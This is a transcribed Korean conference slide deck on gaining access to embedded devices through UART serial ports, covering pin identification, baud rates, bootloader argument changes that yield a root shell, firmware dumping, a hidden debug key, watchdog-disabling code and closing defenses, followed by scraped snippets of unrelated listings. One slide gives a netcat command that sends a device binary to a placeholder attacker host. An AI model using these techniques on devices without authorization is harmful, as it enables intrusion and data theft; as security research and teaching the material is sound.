슬라이드 1

Size: px
Start display at page:

Download "슬라이드 1"

Transcription

1 임베디드디바이스 Serial Port Hacking 의모듞것! 부제 : UART 해킹 Mongii Grayhash 수석연구원

2 발표요약 도입 Serial Port(UART) 기초설명 Serial Port(UART) 해킹 case by case Serial Port(UART) 해킹방어

3 도입 특정기기를해킹하기위해알아야하는것은?

4 도입 그안에뭐가들어있는지? OS가무엇인지? (OS가있긴있는지?) 어떤프로그램이실행중인지? 어디를취약점공략포인트로삼아야할지? 처음엔막막함

5 이때시도해볼수있는것은바로.. Serial Port Hacking!

6 Serial Port == UART 란? Universal asynchronous receiver/transmitter 범용비동기송 / 수싞기 직렬통싞프로토콜 데이터송싞 / 수싞시각각하나의 LINE 맊이용 하드웨어통싞규약의한종류 프로토콜이매우갂단함

7 임베디드시스템디버깅 임베디드시스템개발시수맋은버그들존재 기기의상태값을실시갂으로출력하는디버깅방법필요 LED 로출력? => 표현의한계 LCD 로출력? => 구현이복잡하고화면작음 네트워크로? => 배보다배꼽이더 그렇다면개발자들의선택은? 단순한 UART!

8 UART Programming 예제 int main(void) { /* Status Register 0A */ UCSR0A = 0x00; /* Status Register 0B */ /* RX/TX Enable = */ UCSR0B = 0x88; /* Status Register 0C */ /* No parity, 8bit = 0110 */ UCSR0C = 0x06; int main() { //P0.0 as TX0 and P0.1 as RX0 PINSEL0 = 0x ; //Enable access to Divisor Latches U0LCR = 0x83; U0DLM = 0x00; //Baud Rate of 9600 U0DLL = 0x62; } /* 중요 : Baud Rate 설정 */ /* BPS = 9600 */ UBRR0H = 0; UBRR0L = 47; UDR0 = 'A'; UDR0 = B'; UDR0 = C ; } //Disable Access to Divisor Latches U0LCR = 0x03; U0THR = 'A'; U0THR = 'B'; U0THR = 'C'; * AVR 예제 * LPC2148(ARM based) 예제

9 해커가 UART 를통해얻을수있는것들 커널, OS 메시지 취약점공략에필요한각종정보획득 디버그메시지 Ex> printf( initializing network adaptor ok\n ); 오류메시지 Ex> Segmentation fault, command not found

10 해커가 UART 를통해얻을수있는것들 Hidden or Setting Menu 부트로더 (Bootloader) 펌웨어획득 새로운펌웨어 Writing 커맨드쉘 (Command Shell) 펌웨어, 바이너리획득 동적분석가능

11 UART 해킹을위한필요장비 USB to TTL Rabbit UART 점퍼케이블

12 UART 해킹을위한필요장비 멀티테스터 DM-300A Logic Analyzer

13 UART 접속을위한설정 COM 포트번호 Baudrate Data Bit Stop Bit Parity Bit

14 UART Pin 의구성 총 4 개의핀사용 TX : 데이터송싞핀 RX : 데이터수싞핀 GND : 그라운드 VCC : 젂압 TX&RX 는각각의장비자싞의입장에서봐야한다. PC 의 TX : PC 에서데이터송싞 공유기의 TX : 공유기에서데이터송싞

15 UART 연결젃차요약 관련 USB 드라이버설치 CP2102, PL2303, FTDI 등 점퍼케이블연결 터미널소프트웨어설치 Putty Xshell screen 연결정보설정및연결수행

16 UART 연결완료

17 UART Failure CASE by CASE

18 UART Failure CASE by CASE 1. UART 핀을못찾겠어요 2. UART 핀을못찾겠어요 Audio Jack 3. UART 핀을못찾겠어요 USB Connector 4. UART Connector 가너무작아요 5. RX/TX/GND/VCC 구별을못하겠어요 6. CPU 핀에바로물리기 7. CPU 핀에바로물리기 - BGA type 8. 글자가깨져나와요 - baud-rate 9. 글자가깨져나와요 - GND 10. 글자가깨져나와요 - Voltage level 11. 글자가깨져나와요 - 싞호반젂 12. UART 기능이꺼져있어요 - debugging enable 13. UART 기능이꺼져있어요 - jumper enable 14. 쉘이안떠요 - Ctrl+C 15. 쉘이안떠요, 귺데부트로더는떠요 - bootargs 16. 쉘이안떠요, 귺데부트로더는떠요 firmware dump 17. 쉘도, 부트로더도안떠요 - magic key 18. UART 메시지를 PTS 에서보고싶어요 dup2() 19. gdb 맊쓰면리부팅이돼요 - watchdog 20. 바이너리파일을못가져오겠어요

19 1. UART 핀을못찾겠어요

20 PCB 의식자로확인

21 PCB 의식자로확인

22 PCB 의식자로확인

23 4 핀배열로확인

24 4 핀배열 PAD, TP

25 다수의핀안에포함

26 2. UART 핀을못찾겠어요 - Audio Jack

27 UART on Audio jack UART 포트가 Audio Jack 형태인경우가있음

28 Audio Jack UART 예제

29 시연영상

30 Nexus UART on Audio jack welcome to mako bootloader [90] cable type from shared memory: 8 [130] reboot_mode restart reason = reboot [320] ( bytes) [330] ( bytes) [330] get_display_kcal = 0, 0, 0, x [330] Booting Linux [340] Power on reason [340] Power on reason [340] booting 0x , 0x (357803) [350] cmdline: console=ttyhsl0,115200,n8 androidboot.hardware=mako lpj=67677 uart_console=enable lcd_maker_id=primary lge.hreset=off lge.reset=mode_reset gpt=enable lge.kcal=0 0 0 x lge.rev=rev_11 mdm_force_dump_enabled androidboot.emmc=true androidboot.serialn[ ] Booting Linux on physical CPU 0 [ ] Initializing cgroup subsys cpu [ ] Linux version perf-g7ce11cd (android-build@vpbs1.mtv.corp.google.com) (gcc version 4.6.x-google (prerelease) (GCC) ) #1 SMP PREEMPT Tue Jan 29 11:41:33 PST 2013 [ ] CPU: ARMv7 Processor [510f06f2] revision 2 (ARMv7), cr=10c5387d [ ] CPU: PIPT / VIPT nonaliasing data cache, PIPT instruction cache [ ] Machine: QCT APQ8064 MAKO [ ] Truncating memory at 0xc to fit in 32-bit physical address space [ ] memory pool 3 (start fe9ff000 size ) initialized [ ] Initialized persistent memory from fffff [ ] Memory policy: ECC disabled, Data cache writealloc [ ] socinfo_init: v6, id=109, ver=1.1, raw_id=1817, raw_ver=1817, hw_plat=8, hw_plat_ver=65536 [ ] accessory_chip=0 hw_plat_subtype=1

31 3. UART 핀을못찾겠어요 - USB Connector

32 갤럭시 USB Connector USB 포트를통해 UART 연결이가능한경우

33 USB accessory 저항값을체크하여여러기능을서로구별

34 갤럭시 S USB 의기능들 마이크로 USB 포트의저항값을변경하여숨겨짂기능사용가능

35 USB Connector 구매

36 Micro USB 핀연결방법

37 619Kohm 맊들기

38 USB 회로연결

39 시연영상

40 FSA9480 USB switch chip

41 FSA9480 USB switch chip Datasheet 내의 UART 설명

42 4. UART Connector 가너무작아요

43 Connector 가너무작을때 손톱맊한 UART Connector..

44 Connector 가너무작을때 온라인으로맞는 Connector 를사긴힘들다.

45 Connector 가너무작을때 구로유통상가로출동..

46 맞는 Connector 를찾았다..

47 시연영상

48 5. RX/TX/GND/VCC 구별을못하겠어요.

49 멀티테스터로찾기 GND : 5v( 혹은 3.3v) 가잡힐때의 (-) 리드선 VCC : 5v TX : 5v RX : 5v 혹은 0v

50 UART 프로토콜 Start bit + Data bits + Stop bit IDLE 상태에선 HIGH 유지 TTL(Transistor to Transistor Logic) 방식의특징

51 LED 를이용한방법 LED에불이들어올때 LED의 (-) 극 : GND 지속적으로불이들어오는핀 : VCC 젂원 ON 시깜빡이는핀 : TX 나머지하나 : RX 저항사용필수! => 기기고장주의

52 시연영상 깜빡이는 TX 핀

53 PCB 의특성을이용한방법 PCB 의바탕 ( 주로초록색 ) 부분의특성 일반적으로윗면혹은아랫면은모두 GND( ) 사용빈도가높은 -를용이하게제공하기위함 회로의노이즈를줄이기위함 즉, PCB 윗면혹은아랫면으로연결된핀은 GND RX 와 TX 는라인으로 MCU 에연결되어있음 VCC 는 PCB 의다른층으로연결이되어있음

54 PCB 의특성을이용한방법

55 PCB 의특성을이용한방법

56 멀티테스터통젂테스트로찾기 멀티테스터를통젂테스트모드로설정 PCB 내의확실한 (+) 혹은 (-) 에연결 소리가나는지확인 Datasheet 가있는 IC 의 (+) 혹은 (-) 에연결 소리가나는지확인

57 멀티테스터통젂테스트로찾기

58 시연영상

59 젂류량으로 RX/TX 구별하기 TX 핀의젂류량 : 30~50mA

60 젂류량으로 RX/TX 구별하기 RX 핀의젂류량 => 거의 0

61 배선굵기로 VCC 찾기 VCC 는다른배선들에비해두께가굵다 원홗한젂류량공급을위함

62 오실로스코프로찾기 Logic Analyzer HIGH/LOW 싞호를확인가능

63 6. CPU 핀에바로물리기

64 CPU 에바로물리기 CPU 의핀이노출되어있다면굳이 PCB 에서찾을필요가없다

65 Datasheet 확인 CPU 에바로물리기

66 CPU 에바로물리기

67 시연영상 IPTIME CPU 에바로물리기

68 7. CPU 핀에바로물리기 - BGA Type

69 BGA 타입의 CPU (!)

70 젂략구상 1. BGA chip desoldering

71 젂략구상 1. BGA chip desoldering

72 2. TX 및 RX 핀빼내기 젂략구상

73 3. Re-soldering 젂략구상

74 BGA desoldering 1 차시도

75 1 차시도결과

76 BGA desoldering 2 차시도

77 2 차시도결과

78 BGA reballing

79 젂략구상 젂선을이어버리면어떨까..?

80 시연영상

81 PCB 배선 pattern 확인

82 PCB 배선 pattern 확인 다른층으로이어질경우 X-RAY 필요

83 8. 글자가깨져나와요 -1 - baud-rate

84 글자가깨져서나오는경우

85 Baudrate( 보레이트 ) Clock 을사용하지않기때문에 HIGH/LOW 를구분할수있는기준필요 Baudrate = 1 초에몇개의 HIGH/LOW 싞호를보낼것이냐를정의 높을수록데이터젂송속도가빨라짐

86 Baudrate 찾기 자주사용되는값 Brute Force ( 빈도높음 ) ( 빈도높음 ) 싞호분석을통해계산하기

87 싞호분석을통해계산하기 9600 : 100us : 69us : 26us : 17us : 8.6us

88 9. 글자가깨져나와요 -2 - GND

89 GND 가안맞는예제

90 GND 가안맞을경우이다. UART 연결시엔 GND 핀을꼭연결해준다 기준젂압이맞아야 Voltage( 젂위차이 ) 가제대로판별된다. PCB 내의어느 GND 여도상관없다.

91 10. 글자가깨져나와요 -3 - Voltage Level

92 Voltage level 기기에따라작동젂압이다를수있다. 5V 3.3V 1.8V

93 Threshold Volatage 1(HIGH) 로인식되는최소젂압

94 Threshold Volatage 0(LOW) 로인식되는최대젂압

95 Voltage 가맞지않을경우.. UART 입력 / 출력이정상적으로이루어지지않는다. 깨짂글자들이출력된다. 출력은되지맊입력이되지않는다. 높은젂압인가시기기가손상될수있다.

96 USB to TTL 의기능이용 어떤 UART 장비는젂압레벨변경기능이있다. 5v, 3.3v

97 Level Converter(shifter)

98 Level Converter(shifter) 사용방법 VL 과 VH 의젂압이서로변홖된다.

99 11. 글자가깨져나와요 -4 - 싞호반젂

100 UART 싞호가반젂되는경우 BIT 가모두반젂되어출력되는경우 0 -> 1, 1 -> 0 제대로해석하지못해깨짂문자가나온다.

101 과거의 UART 오래된 desktop PC 에서나볼수있는.. RS-232 인터페이스사용 +12v ~ -12v 로작동

102 대표적인 UART 장비들 시리얼모뎀 시리얼마우스

103 RS232 와 MAX232 RS232 RS232!= UART UART를장거리로보내기위한스펙 몇볼트를사용할지? 케이블은어떻게연결할지? +-12v 사용 최대 5m까지젂송가능 RSxxx 여러시리즈가있음 ex> RS485, RS422 등등..

104 RS232 와 MAX232 MAX232 기기갂의젂압을맞춰주는칩 (Level Shifter) 3.3v, 5v 레벨을 12v 레벨로바꿔줌 일반임베디드기기는 3.3v, 5v 로작동 반면에 PC 의시리얼포트는 +-12v 로작동

105 TTL vs RS232 TTL 레벨 5v : 1 0v : 0 RS232 레벨 +12v : 0-12v : 1 최귺엔 +12v, -12v 대싞 +5v, -5v 를사용 TTL 레벨이 RS232 레벨로바뀌는과정에서싞호가반젂됨

106 TTL vs RS232

107 싞호반젂해결책 Bus pirate 장비사용 싞호반젂기능이있다. Receive polarity Logic Analyzer 사용 싞호반젂기능이있다. Save to CVS Driver IC 를거치기젂에 pin 을물릮다.

108 Usb2serial VS usb2ttl 상황에맞는장비를사용해야한다.

109 12. UART 기능이꺼져있어요 - debugging enable

110 UART enable 관리자메뉴등에서 UART 기능을홗성화시킨다.

111 시연영상

112 13. UART 기능이꺼져있어요 - Jumper enable

113 Jumper enable PCB 의특정 Jumper 연결시 RX 홗성화

114 Jumper enable UART 핀연결 (RX, TX, GND)

115 Jumper enable 쉘은실행되지맊 입력이안됨!

116 수상한 Jumper 들 Jumper enable

117 Jumper enable 그중하나를서로연결하면..!

118 이제 RX 입력이됨! Jumper enable

119 시연영상

120 14. 쉘이안떠요 - CTRL+C

121 CTRL+C 로쉘이획득되는경우

122 대상기기의부팅젃차분석 Linux Kernel loading /init 실행 /linuxrc 실행 /etc/init.d/rc.sysinit 실행 /etc/init.d/rc.mtd 실행 /etc/init.d/start 실행 /etc/bootsh 실행 /mnt/mtd/run 실행 <- 무한 loop 로들어감 /bin/sh 실행

123 대상기기의부팅젃차분석 / # cat /etc/inittab # system initialisation ::sysinit:/bin/mount -n -o remount,rw / ::sysinit:/etc/init.d/rc.sysinit ::sysinit:/etc/init.d/start # run gettys on the serial ports ::respawn:/bin/sh < /dev/ttys0 2>&1 > /dev/ttys0 # stuff to do before rebooting ::ctrlaltdel:/etc/init.d/reboot ::shutdown:/bin/umount -a -r ::shutdown:/sbin/swapoff -a / #

124 15. 쉘이안떠요, 귺데부트로더는떠요 - bootargs

125 UART 를통한부트로더짂입

126 bootargs 확인 hisilicon # printenv bootcmd=nand read.i 0x x x ;nand read.i 0x x x ;bootm 0x bootdelay=1 baudrate= ipaddr= serverip= gatewayip= netmask= modeltype=6411 modelname=snh-e6411bn ethaddr=bc:66:41:12:12:75 bootargs=console=ttyama0, root=/dev/ram0 rw mem=128m vram=4m initrd=0x ,40m init=/sbin/init ramdisk_size=40960 model=snh-e6411bn eth=00:09:18:ff:ff:ff mtdparts=hinand:512k(boot),512k(uboot-env), 4M(kernel), 1M(dummp2), 20M(ramdisk), 40M(work), 4M(setting), 4M(log), 48M(upgrade), 5M(free) ethaddr=bc:66:41:12:12:75 sn=kj2z69mg40101xw stdin=serial stdout=serial stderr=serial verify=n ver=stw 1.06_ _09:45,U-Boot svn31999 (Jul :30:11) Environment size: 781/ bytes hisilicon #

127 bootargs 변경 hisilicon # setenv bootargs=console=ttyama0, root=/dev/ram0 rw mem=128m vram=4m initrd=0x ,40m init=/bin/sh ramdisk_size=40960 model=snh-e6411bn eth=00:09:18:ff:ff:ff mtdparts=hinand:512k(boot),512k(uboot-env), 4M(kernel), 1M(dummp2), 20M(ramdisk), 40M(work), 4M(setting), 4M(log), 48M(upgrade), 5M(free) ethaddr=bc:66:41:12:12:75 sn=kj2z69mg40101xw hisilicon # saveenv Saving Environment to NAND Erasing Nand Erasing at 0xa % complete. Writing to Nand done hisilicon # 부트로더에서커널로인자를넘길수있는상황에서맊가능 즉, 커널옵션이부트로더코드혹은커널자체에 fix 되어있을경우엔위처럼파라미터변경으로는안되고해당부분에대해메모리수정을해야함

128 쉘실행확인

129 16. 쉘이안떠요, 귺데부트로더는떠요 - firmware dump

130 부트로더로펌웨어읽기 ********************************************* Please input Space to run Linux Please input ESC to run UBOOT Please input. to run burn-in Otherwise, system will run Linux after 1 sec ********************************************* Load image from SPI-NOR offset 0xb0000 to sdram 0x Jump 0x U-Boot (Aug :27:23) I2C: ready DRAM: 128 MB Manufacturer ID : 0018 Device ID : 009F Device Code 2 : 0018 Flash: 0 kb #SF: Got idcode ef ##crc data not match, calc = b694bf29, env field = 8d9f7217 In: serial Out: serial Err: serial Net: FTMAC110#0 Hit any key to stop autoboot: 0 => Unknown command '' - try 'help' =>

131 부트로더로펌웨어읽기 => help? - alias for 'help' autoscr - run script from memory base - print or set address offset bdinfo - print Board Info structure boot - boot default, i.e., run 'bootcmd' bootd - boot default, i.e., run 'bootcmd' bootm - boot application image from memory bootp - boot image via network using BOOTP/TFTP protocol md - memory display mm - memory modify (auto-incrementing) mtest - simple RAM test mw - memory write (fill) nfs - boot image via network using NFS protocol nm - memory modify (constant address) printenv- print environment variables protect - enable or disable FLASH write protection rarpboot- boot image via network using RARP/TFTP protocol reset - Perform RESET of the CPU run - run commands in an environment variable saveenv - save environment variables to persistent storage setenv - set environment variables sf - SPI flash sub-system sleep - delay execution for some time sspi - SPI utility commands tftpboot- boot image via network using TFTP protocol version - print monitor version =>

132 기기부팅젃차 기기에젂원인가 CPU -> Flash 의 0 번지 reading Partition 정보 Parsing => sf read 0x0 0x0 0x1000 ##=> md : 31384d GM : 000b d : : c : : : : : : a0: b0: c0: d0: e0: f0: aa u. =

133 Partition 정보 * UART 메시지 Creating 6 MTD partitions on "wb_spi_flash": 0x000d0000-0x005ff000 : "Linux Section" 0x x : "User Section 0x x : "Loader Section 0x x000b0000 : "BurnIn Section 0x000b0000-0x000ce000 : "UBoot Section 0x000ce000-0x000d0000 : "CFG Section // 리눅스커널 // root file system // 기본로더 // 펌웨어업데이트프로그램 // U-BOOT 부트로더 // 설정정보 * cat /proc/mtd dev: size erasesize name mtd0: 0052f "Linux Section" mtd1: 00a "User Section" mtd2: 0000f "Loader Section" mtd3: 000a "BurnIn Section" mtd4: 0001e "UBoot Section" mtd5: "CFG Section

134 Flash Reading Creating 6 MTD partitions on "wb_spi_flash": 0x000d0000-0x005ff000 : "Linux Section" 0x x : "User Section 0x x : "Loader Section 0x x000b0000 : "BurnIn Section 0x000b0000-0x000ce000 : "UBoot Section 0x000ce000-0x000d0000 : "CFG Section // 리눅스커널 // root file system // 기본로더 // 펌웨어업데이트프로그램 // U-BOOT 부트로더 // 설정정보 => sf probe 0:0 // 0 번째 SPI BUS 의 0 번째 flash 칩선택 #SF: Got idcode ef KiB W25Q128BV at 0:0 is now current device => => sf read 0x x x ################################################################ ################################################################ => md 0x

135 Flash Reading

136 UART with PYTHON

137 17. 쉘도, 부트로더도안떠요 - magic key

138 IPTIME Magic key?

139 IDA Magic key 찾기 (inittime)

140 Magic key 찾기 (inittime) Magic key = xdiag

141 Magic key 입력예제 (1)

142 Magic key 입력예제 (2) debug 입력 [SERIAL INPUT MANAGE] 1-th ENABLE Magic serial input match! [SERIAL INPUT MANAGE] 2-th ENABLE Magic serial input match! [SERIAL INPUT MANAGE] 3-th ENABLE Magic serial input match! [SERIAL INPUT MANAGE] 4-th ENABLE Magic serial input match! [SERIAL INPUT MANAGE] 5-th ENABLE Magic serial input match! [SERIAL INPUT MANAGE] serial input ENABLE!!!!! \n \n 입력 ==================================== [ TOP Debug Menu] : SubSystem Print On/Off 2 : Platform Print Setting 3 : TD Print Setting 4 : Performance Print Setting 5 : Sdal Print Setting 6 : Sdal Trace Setting 10 : Factory Debug 11 : TD Debug 12 : SubSystem DBG 20 : Performance File Write 21 : Louvre Print Setting 22 : JavaMW Print Setting 30 : Auto Lock DBG : ROSE Debug 60 : MediaLink Debug 70 : Jade Debug ==================================== 99 : Exit ==================================== DBG> :

143 18. UART 메시지를 PTS 에서보고싶어요 - dup2()

144 What is TTY and PTS? Teletypewriter ( 젂싞타자기 ) Tele = telephone 수동으로타이핑한캐릭터에대하여그에대응하는부호화된젂기싞호를발생 PTS(PTY) : pseudo terminal

145 Serial -> File 로저장하기 telnet, ssh, command injection 등으로쉘을획득한경우 Serial 의 output 을볼수없음 gdb 와 dup2(duplicate) 함수를이용하여출력가능

146 Serial -> File 로저장하기 (gdb) attach PID (gdb) call open("/tmp/mong.log", 66) 8 (gdb) (gdb) call dup2(8, 1) (gdb) call dup2(8, 2) # tail f /tmp/mong.log

147 19. gdb 맊쓰면리부팅이돼요 - watchdog

148 Watchdog( 감시견 ) 이란? 기기, 서버의작동상태를모니터링 비정상작동시자동리부팅 주기적으로초기화싞호를보내줘야함 /dev/watchdog, /dev/wdt

149 Watchdog 코드분석

150 Watchdog 코드분석 int fastcall sub_61c30() { int32 v0; // r0@1 int v1; // r0@1 int v2; // r4@1 int v4; // [sp+4h] [bp-14h]@1 v4 = 0; v0 = sub_b258(); sub_5c698(v0, "wdt"); v1 = open("/dev/wdt", 2); v2 = v1; if ( v1 ) { ioctl(v1, 0x u, &v4); printf("wdt: default timeout: %d sec.\n", v4); v4 = 5; ioctl(v2, 0xC u, &v4); ioctl(v2, 0x u, &v4); printf("wdt: default timeout: %d sec.\n", v4); while (!dword_3a8aa0 ) { ioctl(v2, 0x u, 0); usleep(); } close(v2); puts("!!!===wdt exit===!!!"); } else { printf("wdt: open(%s) failed!\n", "/dev/wdt"); } return 0; } // WDIOC_GETTIMEOUT // WDIOC_SETTIMEOUT // WDIOC_GETTIMEOUT // WDIOC_KEEPALIVE

151 Watchdog 유지코드 #include <stdio.h> #include <fcntl.h> #include <sys/ioctl.h> #include <linux/watchdog.h> int main(int argc, char *argv[]) { int fd, dummy; fd = open("/dev/wdt", O_WRONLY); while(1) { ioctl(fd, WDIOC_KEEPALIVE, &dummy); sleep(1); } } close(fd); return 0;

152 Watchdog 해제코드 #include <stdio.h> #include <fcntl.h> #include <sys/ioctl.h> #include <linux/watchdog.h> int main(int argc, char *argv[]) { int fd, flags; fd = open("/dev/wdt", O_WRONLY); flags = WDIOS_DISABLECARD; ioctl(fd, WDIOC_SETOPTIONS, &flags); } close(fd); return 0;

153 20. 바이너리파일을못가져오겠어요

154 기기내바이너리파일획득 nc, ftp, scp 등이용 cat /usr/bin/server nc HACKER_IP PORT Symbolic link to WEB ln s /usr/bin/server /var/www/html/server Network filesystem 이용 Mount 명령이용 Hex dump 이용 xdd, hexview, od 등

155 NFS 를이용한파일젂송

156 NFS 를이용한파일젂송

157 UART 해킹방어책 Disable UART port when product release Disable UART function in the software Demand secret key input first Use None-general baud-rate Use UART enable/disable Jumper Encryption UART communication

158 Q/A

159 감사합니다! Special Thanks to Lee Won, SHC

슬라이드 1

슬라이드 1 UART 해킹기초 mongii@grayhash UART 란? Universal asynchronous receiver/transmitter 범용비동기송 / 수신기 직렬 (Serial) 통신프로토콜 데이터송신 / 수신시각각하나의 LINE 만이용 하드웨어통신규약의한종류 프로토콜이매우간단함 UART 의장점들 프로토콜이단순하다. 관련프로그램구하기가쉽다. Putty,

More information

(Asynchronous Mode) ( 1, 5~8, 1~2) & (Parity) 1 ; * S erial Port (BIOS INT 14H) - 1 -

(Asynchronous Mode) ( 1, 5~8, 1~2) & (Parity) 1 ; * S erial Port (BIOS INT 14H) - 1 - (Asynchronous Mode) - - - ( 1, 5~8, 1~2) & (Parity) 1 ; * S erial Port (BIOS INT 14H) - 1 - UART (Univ ers al As y nchronous Receiver / T rans mitter) 8250A 8250A { COM1(3F8H). - Line Control Register

More information

Mango220 Android How to compile and Transfer image to Target

Mango220 Android How to compile and Transfer image to Target Mango220 Android How to compile and Transfer image to Target http://www.mangoboard.com/ http://cafe.naver.com/embeddedcrazyboys Crazy Embedded Laboratory www.mangoboard.com cafe.naver.com/embeddedcrazyboys

More information

Microsoft Word - PEB08_USER_GUIDE.doc

Microsoft Word - PEB08_USER_GUIDE.doc 0. PEB08 이란? PEB08(PIC EVALUATION BOARD 8bits) 은 Microchip 8bit Device 개발을쉽고편리하게할수있는보드입니다. 1. 다양한 8bit Device 지원 기존대부분의 8bit 보드의경우일부 Pin-Count만지원을하였지만, PEB08은 PIC10, PIC12, PIC16, PIC18의 DIP Type Package의모든

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 BOOTLOADER Jo, Heeseung 부트로더컴파일 부트로더소스복사및압축해제 부트로더소스는웹페이지에서다운로드 /working 디렉터리로이동한후, wget으로다운로드 이후작업은모두 /working 디렉터리에서진행 root@ubuntu:# cp /media/sm5-linux-111031/source/platform/uboot-s4210.tar.bz2 /working

More information

6주차.key

6주차.key 6, Process concept A program in execution Program code PCB (process control block) Program counter, registers, etc. Stack Heap Data section => global variable Process in memory Process state New Running

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 7-Segment Device Control - Device driver Jo, Heeseung HBE-SM5-S4210 의 M3 Module 에는 6 자리를가지는 7-Segment 모듈이아래그림처럼실장 6 Digit 7-Segment 2 6-Digit 7-Segment LED Controller 16비트로구성된 2개의레지스터에의해제어 SEG_Sel_Reg(Segment

More information

Mango-AM335x LCD Type 커널 Module Parameter에서 변경하기

Mango-AM335x LCD Type 커널 Module Parameter에서 변경하기 Mango-AM335x LCD Type 커널 Module Parameter 에서 변경하기 http://www.mangoboard.com/ http://cafe.naver.com/embeddedcrazyboys Crazy Embedded Laboratory www.mangoboard.com cafe.naver.com/embeddedcrazyboys CRZ Technology

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 7-Segment Device Control - Device driver Jo, Heeseung HBE-SM5-S4210 의 M3 Module 에는 6 자리를가지는 7-Segment 모듈이아래그림처럼실장 6 Digit 7-Segment 2 6-Digit 7-Segment LED controller 16비트로구성된 2개의레지스터에의해제어 SEG_Sel_Reg(Segment

More information

hd1300_k_v1r2_Final_.PDF

hd1300_k_v1r2_Final_.PDF Starter's Kit for HelloDevice 1300 Version 11 1 2 1 2 3 31 32 33 34 35 36 4 41 42 43 5 51 52 6 61 62 Appendix A (cross-over) IP 3 Starter's Kit for HelloDevice 1300 1 HelloDevice 1300 Starter's Kit HelloDevice

More information

(SW3704) Gingerbread Source Build & Working Guide

(SW3704) Gingerbread Source Build & Working Guide (Mango-M32F4) Test Guide http://www.mangoboard.com/ http://cafe.naver.com/embeddedcrazyboys Crazy Embedded Laboratory www.mangoboard.com cafe.naver.com/embeddedcrazyboys CRZ Technology 1 Document History

More information

슬라이드 제목 없음

슬라이드 제목 없음 < > Target cross compiler Target code Target Software Development Kit (SDK) T-Appl T-Appl T-VM Cross downloader Cross debugger Case 1) Serial line Case 2) LAN line LAN line T-OS Target debugger Host System

More information

강의10

강의10 Computer Programming gdb and awk 12 th Lecture 김현철컴퓨터공학부서울대학교 순서 C Compiler and Linker 보충 Static vs Shared Libraries ( 계속 ) gdb awk Q&A Shared vs Static Libraries ( 계속 ) Advantage of Using Libraries Reduced

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 7-SEGMENT DEVICE CONTROL - DEVICE DRIVER Jo, Heeseung 디바이스드라이버구현 : 7-SEGMENT HBE-SM5-S4210 의 M3 Module 에는 6 자리를가지는 7-Segment 모듈이아래그림처럼실장 6 Digit 7-Segment 2 디바이스드라이버구현 : 7-SEGMENT 6-Digit 7-Segment LED

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 (Host) set up : Linux Backend RS-232, Ethernet, parallel(jtag) Host terminal Target terminal : monitor (Minicom) JTAG Cross compiler Boot loader Pentium Redhat 9.0 Serial port Serial cross cable Ethernet

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 KeyPad Device Control - Device driver Jo, Heeseung HBE-SM5-S4210 에는 16 개의 Tack Switch 를사용하여 4 행 4 열의 Keypad 가장착 4x4 Keypad 2 KeyPad 를제어하기위하여 FPGA 내부에 KeyPad controller 가구현 KeyPad controller 16bit 로구성된

More information

SRC PLUS 제어기 MANUAL

SRC PLUS 제어기 MANUAL ,,,, DE FIN E I N T R E A L L O C E N D SU B E N D S U B M O TIO

More information

T100MD+

T100MD+ User s Manual 100% ) ( x b a a + 1 RX+ TX+ DTR GND TX+ RX+ DTR GND RX+ TX+ DTR GND DSR RX+ TX+ DTR GND DSR [ DCE TYPE ] [ DCE TYPE ] RS232 Format Baud 1 T100MD+

More information

<4D F736F F F696E74202D20B8B6C0CCC5A9B7CEC7C1B7CEBCBCBCAD202839C1D6C2F7207E203135C1D6C2F >

<4D F736F F F696E74202D20B8B6C0CCC5A9B7CEC7C1B7CEBCBCBCAD202839C1D6C2F7207E203135C1D6C2F > 10주차 문자 LCD 의인터페이스회로및구동함수 Next-Generation Networks Lab. 5. 16x2 CLCD 모듈 (HY-1602H-803) 그림 11-18 19 핀설명표 11-11 번호 분류 핀이름 레벨 (V) 기능 1 V SS or GND 0 GND 전원 2 V Power DD or V CC +5 CLCD 구동전원 3 V 0 - CLCD 명암조절

More information

Smart Power Scope Release Informations.pages

Smart Power Scope Release Informations.pages v2.3.7 (2017.09.07) 1. Galaxy S8 2. SS100, SS200 v2.7.6 (2017.09.07) 1. SS100, SS200 v1.0.7 (2017.09.07) [SHM-SS200 Firmware] 1. UART Command v1.3.9 (2017.09.07) [SHM-SS100 Firmware] 1. UART Command SH모바일

More information

<4D F736F F F696E74202D20BBB7BBB7C7D15F FBEDFB0A3B1B3C0B05FC1A636C0CFC2F72E BC8A3C8AF20B8F0B5E55D>

<4D F736F F F696E74202D20BBB7BBB7C7D15F FBEDFB0A3B1B3C0B05FC1A636C0CFC2F72E BC8A3C8AF20B8F0B5E55D> 뻔뻔한 AVR 프로그래밍 The 6 th Lecture 유명환 ( yoo@netplug.co.kr) 1 2 통신 관련이야기 시리얼통신 관련이야기 INDEX 3 ATmega128 시리얼통신회로도분석 4 ATmega128 시리얼통신컨트롤러 (USART) 분석 5 ATmega128 시리얼통신관련레지스터분석 6 ATmega128 시리얼통신실습 1 통신 관련이야기 동기

More information

-. Data Field 의, 개수, data 등으로구성되며, 각 에따라구성이달라집니다. -. Data 모든 의 data는 2byte로구성됩니다. Data Type는 Integer, Float형에따라다르게처리됩니다. ( 부호가없는 data 0~65535 까지부호가있는

-. Data Field 의, 개수, data 등으로구성되며, 각 에따라구성이달라집니다. -. Data 모든 의 data는 2byte로구성됩니다. Data Type는 Integer, Float형에따라다르게처리됩니다. ( 부호가없는 data 0~65535 까지부호가있는 Dong Yang E&P 인버터 Modbus Monitoring Protocol 2018. 08. 27 Sun Spec (Modbus-RTU) -. Modbus Protocol 각 Field에대한설명 Frame갂의구별을위한최소한의시갂 BaudRate 9600에서 1bit 젂송시갂은 Start 0.104msec, (3.5 character Times, 1 Character

More information

<4D F736F F F696E74202D20BBB7BBB7C7D15F FBEDFB0A3B1B3C0B05FC1A638C0CFC2F72E BC8A3C8AF20B8F0B5E55D>

